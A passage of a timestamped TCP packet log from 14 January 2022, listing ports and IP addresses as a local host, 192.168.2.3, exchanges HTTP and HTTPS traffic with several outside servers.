Jan 14, 2022 20:23:54.852756977 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852761984 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.852776051 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852777958 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.852794886 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852806091 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.852813005 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852832079 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852849007 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852849007 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.852866888 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852884054 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852894068 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.852901936 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852920055 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852933884 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.852937937 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852946997 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.852984905 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.902493000 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.902528048 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.902545929 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.902579069 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.910015106 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.910037041 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.910053015 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.910069942 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.910082102 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.910098076 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.910099030 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.910116911 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.910129070 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.910135031 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.910149097 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.910160065 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.910202980 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:55.043710947 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:55.045764923 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:55.793258905 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:55.992108107 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:56.048962116 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:57.161645889 CET	49870	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:57.179003000 CET	80	49870	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:57.179233074 CET	49870	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:57.179259062 CET	49870	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:57.180061102 CET	49870	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:57.196492910 CET	80	49870	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:57.197208881 CET	80	49870	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:57.305463076 CET	80	49870	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:57.305551052 CET	49870	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:57.305816889 CET	49870	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:57.322932005 CET	80	49870	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:57.333590984 CET	49871	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:57.350939035 CET	80	49871	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:57.351089001 CET	49871	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:57.351176977 CET	49871	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:57.351227999 CET	49871	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:57.368432999 CET	80	49871	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:57.368467093 CET	80	49871	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:57.473378897 CET	80	49871	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:57.473468065 CET	49871	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:57.473658085 CET	49871	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:57.480612040 CET	49872	80	192.168.2.3	74.201.28.62
Jan 14, 2022 20:23:57.490932941 CET	80	49871	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:57.579041958 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.579184055 CET	49872	80	192.168.2.3	74.201.28.62
Jan 14, 2022 20:23:57.582092047 CET	49872	80	192.168.2.3	74.201.28.62
Jan 14, 2022 20:23:57.680573940 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.680599928 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.680615902 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.680629015 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.680641890 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.680659056 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.680676937 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.680680037 CET	49872	80	192.168.2.3	74.201.28.62
Jan 14, 2022 20:23:57.680695057 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.680711985 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.680727959 CET	49872	80	192.168.2.3	74.201.28.62
Jan 14, 2022 20:23:57.680728912 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.680754900 CET	49872	80	192.168.2.3	74.201.28.62
Jan 14, 2022 20:23:57.680780888 CET	49872	80	192.168.2.3	74.201.28.62
Jan 14, 2022 20:23:57.779040098 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.779087067 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.779126883 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.779190063 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.779223919 CET	49872	80	192.168.2.3	74.201.28.62
Jan 14, 2022 20:23:57.779227972 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.779247046 CET	49872	80	192.168.2.3	74.201.28.62
Jan 14, 2022 20:23:57.779288054 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.779342890 CET	49872	80	192.168.2.3	74.201.28.62
Jan 14, 2022 20:23:57.779376030 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.779452085 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.779509068 CET	49872	80	192.168.2.3	74.201.28.62
Jan 14, 2022 20:23:57.779525995 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.779567003 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.779618025 CET	49872	80	192.168.2.3	74.201.28.62
Jan 14, 2022 20:23:57.779627085 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.779676914 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.779759884 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.779761076 CET	49872	80	192.168.2.3	74.201.28.62
Jan 14, 2022 20:23:57.779803038 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.779859066 CET	49872	80	192.168.2.3	74.201.28.62
Jan 14, 2022 20:23:57.779869080 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.779910088 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.779949903 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.779957056 CET	49872	80	192.168.2.3	74.201.28.62
Jan 14, 2022 20:23:57.779992104 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.780030966 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.780038118 CET	49872	80	192.168.2.3	74.201.28.62
Jan 14, 2022 20:23:57.780071974 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.780121088 CET	49872	80	192.168.2.3	74.201.28.62
Jan 14, 2022 20:23:57.878690004 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.878748894 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.878788948 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.878833055 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.878850937 CET	49872	80	192.168.2.3	74.201.28.62
Jan 14, 2022 20:23:57.878876925 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.878894091 CET	49872	80	192.168.2.3	74.201.28.62
Jan 14, 2022 20:23:57.878917933 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.878959894 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.878997087 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.879012108 CET	49872	80	192.168.2.3	74.201.28.62
Jan 14, 2022 20:23:57.879051924 CET	49872	80	192.168.2.3	74.201.28.62
Jan 14, 2022 20:23:57.879095078 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.879137039 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.879174948 CET	80	49872	74.201.28.62	192.168.2.3
Jan 14, 2022 20:23:57.879187107 CET	49872	80	192.168.2.3	74.201.28.62
Jan 14, 2022 20:23:58.093897104 CET	49872	80	192.168.2.3	74.201.28.62
Jan 14, 2022 20:23:58.744963884 CET	49875	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:58.763586998 CET	80	49875	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:58.763689041 CET	49875	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:58.763817072 CET	49875	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:58.763866901 CET	49875	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:58.780968904 CET	80	49875	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:58.780988932 CET	80	49875	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:58.881620884 CET	80	49875	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:58.881750107 CET	49875	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:58.881932020 CET	49875	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:58.899128914 CET	80	49875	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:58.922534943 CET	49876	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:58.939831972 CET	80	49876	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:58.939945936 CET	49876	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:58.940745115 CET	49876	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:58.940776110 CET	49876	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:58.957995892 CET	80	49876	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:59.063235998 CET	80	49876	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:59.063333035 CET	49876	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:59.073237896 CET	49876	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:59.090487003 CET	80	49876	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:59.101560116 CET	49877	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:59.119319916 CET	80	49877	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:59.119496107 CET	49877	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:59.119682074 CET	49877	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:59.119756937 CET	49877	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:59.136900902 CET	80	49877	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:59.137125969 CET	80	49877	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:59.240058899 CET	80	49877	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:59.240204096 CET	49877	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:59.240565062 CET	49877	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:59.257872105 CET	80	49877	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:59.323489904 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.323537111 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.323628902 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.324436903 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.324462891 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.375292063 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.375511885 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.379614115 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.379625082 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.380127907 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.381818056 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.421869040 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.913351059 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.913393021 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.913429976 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.913518906 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.913538933 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.913549900 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.913593054 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.914020061 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.914060116 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.914135933 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.914144993 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.914172888 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.914226055 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.936564922 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.936611891 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.936678886 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.936692953 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.936729908 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.936750889 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.936974049 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.937012911 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.937099934 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.937108994 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.937609911 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.937648058 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.937705040 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.937716961 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.937727928 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.937761068 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.959671974 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.959717035 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.959831953 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.959846973 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.959899902 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.960005999 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.960095882 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.960140944 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.960243940 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.960530043 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.960570097 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.960614920 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.960624933 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.960652113 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.960665941 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.960850954 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.960891962 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.960942030 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.960952044 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.960975885 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.960998058 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.961508036 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.961546898 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.961597919 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.961610079 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.961637974 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.961659908 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.962171078 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.962209940 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.962261915 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.962274075 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.962301970 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.962325096 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.983369112 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.983409882 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.983546972 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.983565092 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.983584881 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.983602047 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.983935118 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.983978987 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.984038115 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.984049082 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.984086037 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.984093904 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.984329939 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.984369040 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.984445095 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.984458923 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.984477997 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.984502077 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.984997034 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.985037088 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.985110044 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.985120058 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.985153913 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.985707045 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.985771894 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.985830069 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.985847950 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.985857010 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.986227036 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.986265898 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.986339092 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.986357927 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:59.986367941 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:59.988029957 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.006767988 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.006812096 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.006905079 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.006922007 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.006952047 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.006974936 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.007467985 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.007507086 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.007565022 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.007580042 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.007599115 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.008177996 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.008213997 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.008270025 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.008280039 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.008289099 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.008311987 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.008332014 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.008647919 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.008687019 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.008733034 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.008740902 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.008776903 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.008800983 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.009134054 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.009171963 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.009238005 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.009248018 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.009290934 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.009682894 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.009721041 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.009763956 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.009773016 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.009831905 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.010051012 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.010196924 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.010236979 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.010272980 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.010281086 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.010313988 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.010330915 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.030694962 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.030741930 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.030878067 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.030879974 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.030905962 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.030932903 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.030960083 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.031021118 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.031029940 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.031660080 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.031698942 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.031760931 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.031774998 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.031785011 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.031816006 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.031858921 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.031896114 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.031927109 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.031934977 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.031960011 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.031970978 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.032620907 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.032660007 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.032721043 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.032731056 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.032772064 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.032787085 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.033478975 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.033518076 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.033562899 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.033572912 CET	443	49878	144.76.136.153	192.168.2.3
